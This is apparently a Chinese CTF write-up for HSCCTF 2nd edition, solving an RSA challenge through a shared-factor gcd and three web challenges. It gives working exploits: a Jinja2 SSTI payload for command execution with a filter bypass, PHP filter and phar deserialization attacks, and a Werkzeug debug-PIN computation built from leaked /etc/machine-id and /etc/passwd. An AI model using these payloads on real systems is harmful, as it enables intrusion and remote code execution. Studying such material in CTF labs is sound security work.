HSCCTF 2th WriteUp


又被薄纱了,哈哈哈

Misc

SIGNIN

关注公众号:中龙 红客突击队 发送:HSCCTF{TELLMEFLAG}获取flag即可

Crypto

EZRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import *
import gmpy2
from flag import m

p = getPrime(1024)
q = getPrime(1024)
n = p * q
print('n =',n)
e = 0x10001
M = m * e * 1 * 2022 * p
c = pow(M,e,n)
print('c =',c)

# n = 16266043783454053154037197753138388613864200794483663334493856481522764684650995230938142916968470804276539967429581472897698022852787399956166067156691430593337430691851251036378709799238876668312530223697905925939542713491015517460139150765778057817475571231361809654951289718071760502692960235551663466242938669673675870151921605230499603814070711617511206013584605131901906195136038060653121164252894949526861390984185085201067988694831398388037080993820517447099157891181179389949333832439004857436617834100885739716577641892686620423154860716308518151628754780994043553863224363539879909831811888663875989774849
# c = 12716190507848578560760116589677996073721225715245215495257947887969923319693501568134141757778665747980229898129090929698368855086594836111461700857934476682700625486249555753323344759513528101651108919161794915999809784961533946922607642974500946026677116418317599095703217004064379100607278317877894742815660315660254853364776654303066021672567442581774299847661025422994141801987588151758971034155714424052693627277202951522779716696303237915400201362585413354036973117149974017434406560929491956957193491445847385625481870256240443170803497196783872213746269940877814806857222191433079944785910813364137603874411

尝试factordb分解失败

但是M=2022mep=k1p

n=pq=k2p

c = M^e mod n = (k1p)^e mod k2p =k3p mod k2p = k3p-k4k2p

结果是 n,c都含有p的因子

所以n和c的最大公因数就是p

得到p之后就可以得到q

之后就是rsa常规解法

1
2
3
4
5
6
7
8
9
10
11
12
13
from gmpy2 import *
import libnum
from Crypto.Util.number import long_to_bytes
n = 16266043783454053154037197753138388613864200794483663334493856481522764684650995230938142916968470804276539967429581472897698022852787399956166067156691430593337430691851251036378709799238876668312530223697905925939542713491015517460139150765778057817475571231361809654951289718071760502692960235551663466242938669673675870151921605230499603814070711617511206013584605131901906195136038060653121164252894949526861390984185085201067988694831398388037080993820517447099157891181179389949333832439004857436617834100885739716577641892686620423154860716308518151628754780994043553863224363539879909831811888663875989774849
c = 12716190507848578560760116589677996073721225715245215495257947887969923319693501568134141757778665747980229898129090929698368855086594836111461700857934476682700625486249555753323344759513528101651108919161794915999809784961533946922607642974500946026677116418317599095703217004064379100607278317877894742815660315660254853364776654303066021672567442581774299847661025422994141801987588151758971034155714424052693627277202951522779716696303237915400201362585413354036973117149974017434406560929491956957193491445847385625481870256240443170803497196783872213746269940877814806857222191433079944785910813364137603874411
e = 0x10001
p = gmpy2.gcd(n,c)
q = n//p
phi = (p-1) * (q-1)
d = gmpy2.invert(e,phi) #ed= 1 (mod phi(n))
M = gmpy2.powmod(c,d,n)
m = M // e // 2022 // p
print(long_to_bytes(m))

Web

EZSSTI

ssti模板注入,传参点是name

直接使用poc一把梭:

1
2
3
4
5
6
7
8
9
10
11
12
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /f*").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

但是发现报错:

1
2
3
4
5
SyntaxError
File "<string>", line 1
__import__("os").("nl /f*").read()
^
SyntaxError: invalid syntax

对比发现popen被删除了,所以这里直接双写绕过即可

1
2
3
4
5
6
7
8
9
10
11
12
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popopenpen("cat /f*").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

回显:

1
I heard you wanted flag, Are you sure you can get it? {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("/f*").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

应该是有过滤cat

所以换成nl

1
2
3
4
5
6
7
8
9
10
11
12
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popopenpen("nl /f*").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

EasyPHY

第一眼进去还以为是文件上传,于是传什么文件都被挡…

后来发现:<input type="submit" name="acti0n" placeholder="上传图片" value="upload" class='btn' id='b1'>

name=acti0n…

所以应该是有传参点的,那么我们可以尝试获取view和upload的源码(文件包含)

acti0n=php://filter/convert.base64-encode/resource=view.php

发现被挡了,可以大小写绕过

acti0n=php://filter/convert.basE64-encode/resource=view.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<!DOCTYPE html>

<link type = "text/css" rel = "stylesheet" href = "css/style.css">

<html lang = "zh">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>上传图片</title>
</head>
<body>
<script type = "text/javascript" color = "0,0,255" opacity = '0.7' zIndex = "-2" count = "99" src = 'js/canvas-nest.min.js'></script> <!-- 动态背景 -->
<br><br><br>
<h2>上传你手里最好的图片!</h2>
<p id = "comment">If it is excellent enough, you will get the flag!</p>
<br><br><br>
<div class = "form1">
<form action = "upload.php" method = "post" accept-charset = "utf-8" enctype = "multipart/form-data">
<label name = "title" for = "file">图片: </label>
<input type = "file" name = "file" id = "file">
<input type = "submit" class = "button" name = "submit" value = "上传">
</form>
</div>

</body>
</html>

<?php
error_reporting(0);
$dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
if(!is_dir($dir)) {
if(!mkdir($dir, 0777, true)) {
echo error_get_last()['message'];
die('Failed to make the directory');
}
}
chdir($dir);
if(isset($_POST['submit'])) {
$name = $_FILES['file']['name'];
$tmp_name = $_FILES['file']['tmp_name'];
$ans = exif_imagetype($tmp_name);
if($_FILES['file']['size'] >= 204800) {
die('filesize too big.');
}
if(!$name) {
die('filename can not be empty!');
}
if(preg_match('/(htaccess)|(user)|(\.\.)|(00)|(#)/i', $name) !== 0) {
die('Hacker!');
}
if(($ans != IMAGETYPE_GIF) && ($ans != IMAGETYPE_JPEG) && ($ans != IMAGETYPE_PNG)) {
$type = $_FILES['file']['type'];
if($type == 'image/gif' or $type == 'image/jpg' or $type == 'image/png' or $type == 'image/jpeg') {
echo "<p align=\"center\">Don't cheat me with Content-Type!</p>";
}
echo("<p align=\"center\">You can't upload this kind of file!</p>");
exit;
}
$content = file_get_contents($tmp_name);
if(preg_match('/(scandir)|(end)|(implode)|(eval)|(system)|(passthru)|(exec)|(chroot)|(chgrp)|(chown)|(shell_exec)|(proc_open)|(proc_get_status)|(ini_alter)|(ini_set)|(ini_restore)|(dl)|(pfsockopen)|(symlink)|(popen)|(putenv)|(syslog)|(readlink)|(stream_socket_server)|(error_log)/i', $content) !== 0) {
echo('<script>alert("How dare you upload file with such dangerous function?")</script>');
exit;
}

$extension = substr($name, strrpos($name, ".") + 1);
if(preg_match('/(png)|(jpg)|(jpeg)|(phar)|(gif)|(txt)|(md)|(exe)/i', $extension) === 0) {
die("<p align=\"center\">You can't upload this kind of file!</p>");
}
$upload_file = $name;
move_uploaded_file($tmp_name, $upload_file);

if(file_exists($name)) {
echo "<p align=\"center\">Your file $name has been uploaded.<br></p>";
} else {
echo '<script>alert("上传失败")</script>';
}
echo "<p align=\"center\"><a href=\"view.php\" >点我去看上传的文件</a></p>";
#header("refresh:3;url=index.php");
}
?>

可以看到ban掉了很多危险函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<!DOCTYPE html>
<html lang="zh">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>查看图片</title>
<link type = "text/css" rel = "stylesheet" href = "css/style.css">
</head>
<body>
<script type = "text/javascript" color = "0,0,255" opacity = '0.7' zIndex = "-2" count = "99" src = 'js/canvas-nest.min.js'></script> <!-- 动态背景 -->
<?php
#include_once "flag.php";
error_reporting(0);
class View
{
public $dir;
private $cmd;

function __construct()
{
$this->dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
$this->cmd = 'echo "<div style=\"text-align: center;position: absolute;left: 0;bottom: 0;width: 100%;height: 30px;\">Powered by: xxx</div>";';
if(!is_dir($this->dir)) {
mkdir($this->dir, 0777, true);
}
}

function get_file_list() {
$file = scandir('.');
return $file;
}

function show_file_list() {
$file = $this->get_file_list();
for ($i = 2; $i < sizeof($file); $i++) {
echo "<p align=\"center\" style=\"font-weight: bold;\">[".strval($i - 1)."] $file[$i] </p>";
}
}

function show_img($file_name) {
$name = $file_name;
$width = getimagesize($name)[0];
$height = getimagesize($name)[1];
$times = $width / 200;
$width /= $times;
$height /= $times;
$template = "<img style=\"clear: both;display: block;margin: auto;\" src=\"$this->dir$name\" alt=\"$file_name\" width = \"$width\" height = \"$height\">";
echo $template;
}

function delete_img($file_name) {
$name = $file_name;
if (file_exists($name)) {
@unlink($name);
if(!file_exists($name)) {
echo "<p align=\"center\" style=\"font-weight: bold;\">成功删除! 3s后跳转</p>";
header("refresh:3;url=view.php");
} else {
echo "Can not delete!";
exit;
}
} else {
echo "<p align=\"center\" style=\"font-weight: bold;\">找不到这个文件! </p>";
}
}

function __destruct() {
eval($this->cmd);
}
}

$ins = new View();
chdir($ins->dir);
echo "<h3>当前目录为 " . $ins->dir . "</h3>";
$ins->show_file_list();
if (isset($_POST['show'])) {
$file_name = $_POST['show'];
$ins->show_img($file_name);
}
if (isset($_POST['delete'])) {
$file_name = $_POST['delete'];
$ins->delete_img($file_name);
}
unset($ins);
?>
</body>
</html>
//view.php

而view.php内能够明显看到在__destruct()方法内有eval函数

__destruct()明显是反序列化的标志,而该方法又在delete_img函数内

而如果delete作为post参数的时候,就会将其内容传递到delete_img函数内,再加之上传文件,所以应该是phar反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class View{
public $dir;
private $cmd;

function __construct(){
$this->cmd = 'show_source("flag.php");';
}
function __destruct(){
eval($this->cmd);
}
}
$phar = new Phar('phar.phar');
$phar -> startBuffering;
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar ->addFromString('test.txt','test');
$object = new View();
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>

运行后获得phar.phar,将其上传即可

然后通过post的delete触发phar即可

delete=phar://phar.phar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Can not delete!
Powered by: xxx
<!DOCTYPE html>
<html>
<head>
<title>flag</title>
</head>
<body>
<b>?</b>
<br>
</body>
</html>
<?php
$flag = 'HSCSEC{63b93beb-9edd-486b-aab3-58ad12621db0}';
?>

EZFlask

Flask pin码攻击

不过这个东西最恶心的地方就在我找到的几个脚本里生成的pin码都是错的…

都不知道什么原因…

什么是flask的pin码攻击呢?

简单的说就是你可以通过报错的页面进入debug模式,直接获得控制台(

但是一般都会被锁定,并且让你输入pin码

而我们的pin码攻击此时就要派上用场了,我们可以通过计算获得pin码并且解锁

如何进行pin码的计算:

你要获取以下几个东西:

  • 机器的mac地址:可以通过访问/sys/class/net/eth0/address获得
  • 机器id:访问/etc/machine-id或者/proc/sys/kernel/random/boot_id,二选一
  • CPUID:/proc/self/cgroup或者/proc/1/cpuset
  • modname:默认为flask.app
  • 用户名:访问etc/passwd获得
  • app.py的绝对路径:通过报错页面获得

然后使用脚本计算即可

解题:

页面提示:/view?filename=app.py,输入后获得app.py的源码

1
2
3
4
5
6
7
from flask import Flask,request,render_template_string app = Flask(__name__) @app.route("/") def index(): return 'GET /view?filename=app.py' @app.route("/view") def viewFile(): filename = request.args.get('filename') if("flag" in filename): return "WAF" if("cgroup" in filename): return "WAF" if("self" in filename): return "WAF" try: with open(filename, 'r') as f: templates='''
{}
'''.format(f.read()) return render_template_string(templates) except Exception as e: templates='''
文件不存在
''' return render_template_string(templates) if __name__ == "__main__": app.run(host="0.0.0.0", port=80, debug=True)

#此处过滤了cgroup、self和flag

猜测我们可以通过filename来进行文件的读取,并且如果我们直接访问/view页面会报错,通过报错页面我们获得app.py的绝对路径:/usr/local/lib/python3.8/site-packages/flask/app.py

通过/view?filename=/sys/class/net/eth0/address获取机器mac地址:02:42:ac:02:0b:47

通过/view?filename=/etc/machine-id获得机器码:7265fe765262551a676151a24c02b7b6

通过/view?filename=/proc/1/cpuset获取CPUID:

2b577240d0290d4743c464cf4a8375c8c1a52d7eae4545baaf602d2577177a70(docker后面的一串)

通过/view?filename=../../etc/passwd获取用户名:

app

1
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin app:x:1000:1000::/home/app:/bin/sh

也就是bin/sh的前一个

那直接上脚本即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
import hashlib
import uuid
from itertools import chain

mac = '02:42:ac:02:0b:47' # /sys/class/net/eth0/address
mac = int('0x' + mac.replace(':', ''), 16) # 1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup 或 /proc/1/cpuset
machine_id = b'7265fe765262551a676151a24c02b7b6'
cgroup = b'2b577240d0290d4743c464cf4a8375c8c1a52d7eae4545baaf602d2577177a70'#78eeeb157a1ad5f7a12aeaa370d1578a20a86e472023dfe77a700853d114b63f
modname = 'flask.app'
username = 'app'
file_path = '/usr/local/lib/python3.8/site-packages/flask/app.py'


def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


def get_machine_id():
def _generate():
linux = b""

# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue

if value:
linux += value
break

# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass

return linux

_machine_id = _generate()
return machine_id + cgroup


def get_pin_and_cookie_name():
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.

Second item in the resulting tuple is the cookie name for remembering.
"""

# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
'Flask',
file_path,
]

# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(mac), get_machine_id()]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
rv = ''
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break

return rv, cookie_name


if __name__ == '__main__':
print(get_pin_and_cookie_name())

#output:('819-831-805', '__wzd610d82b2b1acb431a87b')

直接复制819-831-805即可,有时候不能认证,尝试重新打开一下页面即可

获取到控制台了

那直接想怎么做就怎么做:

1
2
3
import os
os.popen('ls /').read()
#查看目录

发现flag和readflag

先查看flag,是空的

然后查看readflag获得flag

1
2
3
4
>>> os.popen('cat /flag').read()
''
>>> os.popen('/readflag').read()
'HSCSEC{492dbc97-e92c-447a-9703-928c1435eeff}